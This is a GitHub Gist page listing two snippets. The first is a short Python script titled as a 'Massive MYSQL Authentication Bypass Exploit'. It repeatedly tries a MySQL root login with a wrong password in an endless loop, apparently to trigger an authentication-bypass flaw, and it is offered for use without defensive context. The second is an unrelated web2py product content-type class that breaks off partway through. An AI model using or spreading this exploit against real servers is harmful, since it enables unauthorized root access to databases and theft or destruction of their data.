Skip to content

Instantly share code, notes, and snippets.

@goldenboy
goldenboy / python mysql_bypass.py
Created June 21, 2012 22:07
Massive MYSQL Authentication Bypass Exploit www.MundoPython.org
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah",shell=True).wait()
@goldenboy
goldenboy / contenttypes.py
Created August 9, 2012 03:42 — forked from rochacbruno/contenttypes.py
Movuca content type
class Product(ContentModel):
tablename = "product_data"
def set_properties(self):
ckeditor = CKEditor()
T = current.T
self.fields = [
Field("price", "double", notnull=True, default=0),
Field("manufacturer", "string", notnull=True),
Field("in_stock", "boolean", notnull=True, default=True),